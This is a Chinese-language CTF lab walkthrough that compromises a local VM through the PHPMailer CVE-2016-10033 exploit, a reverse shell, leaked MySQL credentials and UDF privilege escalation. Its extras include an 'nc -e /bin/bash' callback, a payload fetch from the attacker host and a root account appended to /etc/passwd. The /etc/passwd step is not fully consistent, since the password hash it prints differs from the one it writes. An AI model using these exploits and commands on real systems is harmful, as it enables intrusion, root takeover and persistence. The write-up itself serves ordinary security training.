简介
作者:摇光
时间:2024-04-17
座右铭:路虽远,行则将至,事虽难,做则必成。
请注意:
对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一.信息收集
在VM中获取攻击目标的ip地址,用nmap获取目标主机的ip地址
nmap -sP 192.168.111.0/24
目标主机的IP地址:192.168.111.132
nmap扫描发现目标主机的端口及服务(进行目标主机全端口扫描)
nmap 192.168.111.132 -p-
二、web渗透
爆破网站目录,进行枚举
枚举后发现http://192.168.111.132/vendor/ 该路径下存在包含的flag文件path
打开path文件,获得flag1
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
在README.md文件中发现使用了PHPMailer插件
VERSION文件中发现其版本为5.2.16
谷歌搜索:PHPMailer 5.2.16 exp
CVE:2016-10033
exp ID:40974
查询 40974
searchsploit 40974
将40974文件拷贝到本地
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop/
exp考出后,需要针对PHPMailer修改参数:
41行:改下地址:http://192.168.111.132/contact.php(目标靶机ip)
42行:后门名称:/dayu.php
44行:改下回弹的IP和端口 192.168.111.128 6666(本机ip)
47行:改下写入shell的目录:/var/www/html/dayu.php
执行exp
python3 40974.py
如果环境报错按照环境安装:
需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。
访问http://192.168.111.132/contact.php,此时就会生成后门文件dayu.php
本地开启监听:nc -vlp 6666
访问http://192.168.111.132/dayu.php
获得反弹shell!
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
找寻flag
find / -name flag*
找到flag路径:
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
cat /var/www/flag2.txt
获得flag2{6a8ed560f0b5358ecf844108048eb337}
浏览器访问
http://192.168.111.132/wordpress/wp-content/uploads/2018/11/flag3.png
获得flag3
wordpress目录枚举
flag3路径:/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
在flag3目录下发现了wordpress目录(config文件是最重要的配置文件,先进行枚举)
查看关键文件中的关键内容信息
grep "内容" -rn
grep "password" -rn wp-config.php
获得mysql账号密码信息
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
登录mysql
查看其系统库和版本
--select version();查看版本
ps aux | grep root ---查看mysql进程信息,获得数据库是以什么权限去运行的
发现是以root权限去运行的,那么接下来就找利用mysql提权的方法.
root权限运行满足UDF提权条件一
三、内核提权
mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!
dpkg -l | grep mysql --查看历史安装包版本
5.5.6可以进行UDF提权,满足UDF提权条件二
再次登入mysql,收集信息
查看user表
获得两个账号和密码(密码加密,无法破解,仍使用UDF进行提权)
查看底层UDF是否能用
首先看一下是否满足写入条件:
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录:
show variables like '%plugin%';
查看能否远程登陆,若能远程访问,使用msf的脚本远程访问攻击,若不能远程访问,只能本地访问操作。
use mysql; --进入mysql库
select user,host from user; --查看哪些ip可以访问mysql
发现只有本地ip可以访问,这里root用户不允许远程登陆,因此不能利用MSF提权。
谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
EXP ID:1518
用法:
查询提权脚本1518
searchsploit 1518
拷贝到本地
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop/
gcc -g -c 1518.c ---GCC编译.o文件
gcc -g -shared -o dayu.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
开启8081端口的http服务
把dayu.so文件下载到目标主机
wget 192.168.111.128:8081/dayu.so(本地ip)
进入数据库创建数据表dayu:
create table dayu(line blob);
查看数据表dayu
插入数据文件:
insert into dayu values(load_file('/tmp/dayu.so'));
dayu表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'dayu.so';
查看以下创建的函数:
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find'); --chmod u+s赋予其最高权限
执行find命令(这里也可以进行一个反弹shell,详细步骤在结尾拓展中)
使用find执行 shell
touch dayu --目标主机创建dayu文件
find dayu -exec "/bin/sh" \; --获得一个root的id
切换到root权限,查看获得flag4
flag4{df2bc5e951d91581467bb9a2a8ff4425}
拓展:
1.用反弹shell来获取flag4
本机中打开6677端口的监听
nc -vlp 6677
mysql中执行命令
select do_system('nc -nv 192.168.111.128 6677 -e /bin/bash');
本机会获得一个反弹shell,再执行find命令获得flag
2.使用stty命令,让伪shell界面更加稳定,其包含历史命令,使用更方便
仅限/bin/bash模式:
python -c 'import pty;pty.spawn("/bin/bash")'
Ctl z
stty raw -echo
fg
3.如果可以远程,msf远程攻击提权步骤
mysql_udf_payload
sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell
4.写入root用户
openssl passwd dayu
YpIR51FecR9AY
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)